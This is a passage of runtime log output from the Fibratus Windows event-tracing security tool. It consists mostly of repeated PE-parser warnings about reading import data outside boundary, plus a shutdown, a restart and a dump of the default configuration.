reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:38:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:38:32+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:38:32+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:38:33+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:39:04+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:39:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:39:04+01:00 level=info msg=bootstrapping with pid 5396. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:39:04+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false port=>25 content-type=>text/html to=>[]] eventlog=>[ enabled=>true verbose=>false] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>true]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] from-urls=>[]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + kstream ........................ [ enable-net=>true buffer-size=>512 blacklist=>[ events=>[] images=>[]] stack-enrichment=>true enable-dns=>true max-buffers=>36 min-buffers=>16 enable-handle=>false flush-interval=>1s enable-mem=>true enable-fileio=>true enable-audit-api=>true enable-vamap=>true enable-image=>true enable-thread=>true enable-registry=>true] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 formatter=>text log-stdout=>true level=>info] + output ......................... [ amqp=>[ vhost=>/ delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 durable=>false exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus routing-key=>fibratus passive=>false] http=>[ tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false method=>POST enabled=>false endpoints=>[] timeout=>5s] elasticsearch=>[ bulk-workers=>1 healthcheck-interval=>10s flush-period=>1s servers=>[http://127.0.0.1:9200] gzip-compression=>false enabled=>false template-name=>fibratus healthcheck=>true sniff=>false healthcheck-timeout=>5s timeout=>5s index-name=>fibratus trace-log=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} format=>pretty]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ kparams=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ alert-via=>mail enabled=>false fastscan=>true excluded-procs=>[] skip-files=>true excluded-files=>[] scan-timeout=>10s alert-template=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:39:04+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:39:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:39:07+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:39:07+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:39:07+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:39:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: 